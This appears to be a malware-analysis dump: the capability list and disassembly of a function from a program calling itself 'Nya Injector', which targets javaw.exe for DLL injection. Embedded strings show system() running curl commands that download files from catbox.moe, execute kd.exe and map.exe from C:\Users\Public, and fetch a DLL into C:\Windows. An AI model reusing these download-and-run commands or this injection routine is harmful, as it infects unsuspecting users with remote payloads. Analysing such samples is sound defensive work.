Function at 0x140001d70
Capabilities:
Enumerate processes
Execute command
Set console window title

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x500]
sub rsp, 0x600
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rbp + 0x4f0], rax
lea rcx, [0x140005591]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
lea rcx, str.___Nya_Injector_n
call fcn.140001a90
lea rcx, str.___Press_Enter_to_attach_n
call fcn.140001a90
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
lea rcx, str.curl_https:__files.catbox.moe_g79gvl.sys___output_C:UsersPublickd.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:UsersPublickd.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__files.catbox.moe_lvkvdb.sys___output_C:UsersPublicmap.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:UsersPublicmap.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dword [rbp + 0xa0], 0x238
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
lea rdx, [rbp + 0xa0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
cmp eax, 1
jne 0x140001ea4
lea rdx, [rbp + 0xa0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
jne 0x140001ea4
nop word [rax + rax]
mov qword [rsp + 0x20], 0xffffffffffffffff
lea r9, str.javaw.exe
mov r8d, 0x104
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs_s]
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0xcc]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
mov rcx, rbx
test eax, eax
je 0x140001ee3
lea rdx, [rbp + 0xa0]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
je 0x140001e50
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.Failed_to_get_java._n
call fcn.140001a90
xor eax, eax
mov rcx, qword [rbp + 0x4f0]
xor rcx, rsp
call fcn.1400036e0
lea r11, [rsp + 0x600]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, dword [rbp + 0xa8]
test r8d, r8d
je 0x140001ead
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
jne 0x140001f13
lea rcx, str.Failed_to_open_process._n
jmp 0x140001eb4
lea rcx, str.curl_https:__files.catbox.moe_mg6b5b.dll___output_C:Windowsdata.sys__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp - 0x70]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp - 0x70]
call fcn.140002ed0
nop
cmp qword [rbp + 0x20], 0
jne 0x140001f5c
lea rcx, str.Failed_to_open_the_DLL_file._n
call fcn.140001a90
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140002134
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____cdecl_std::basic_istream_char__struct_std::char_traits_char__::tellg_void____ptr64]
mov rdi, qword [rax + 8]
add rdi, qword [rax]
xor r8d, r8d
xor edx, edx
lea rcx, [rbp - 0x70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
xor eax, eax
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
mov qword [rsp + 0x78], rax
test rdi, rdi
je 0x140002006
movabs rax, 0x7fffffffffffffff
cmp rdi, rax
ja 0x140002148
cmp rdi, 0x1000
jb 0x140001fde
lea rcx, [rdi + 0x27]
cmp rcx, rdi
jbe 0x140002142
call fcn.140003700
mov rcx, rax
test rax, rax
je 0x140002116
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140001fe6
mov rcx, rdi
call fcn.140003700
mov qword [rsp + 0x68], rax
lea rbx, [rax + rdi]
mov qword [rsp + 0x78], rbx
mov r8, rdi
xor edx, edx
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov qword [rsp + 0x70], rbx
mov r8, rdi
mov rdx, qword [rsp + 0x68]
lea rcx, [rbp - 0x70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::read_char____ptr64__long_long___int64_____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
test al, al
je 0x14000206e
lea rcx, str.Failed_to_read_the_DLL_file._n
call fcn.140001a90
lea rcx, [rbp - 0x60]
call fcn.140003300
test rax, rax
jne 0x140002063
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x70]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400020e3
lea rcx, [rbp - 0x60]
call fcn.140003300
test rax, rax
jne 0x140002099
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x70]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov rdx, qword [rsp + 0x68]
mov rcx, rsi
call fcn.140001010
test al, al
jne 0x1400020c1
lea rcx, str.DLL_Injection_failed._n
call fcn.140001a90
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400020e3
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.___Attached_n
call fcn.140001a90
lea rcx, str.___Have_fun_:3_n
call fcn.140001a90
nop
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x140002134
mov rdx, qword [rsp + 0x78]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000211d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000211d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003744
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], 0
lea rcx, [rbp - 0x70]
call fcn.140002150
jmp 0x140001eb9
call fcn.140001bf0
int3
call fcn.140003660
int3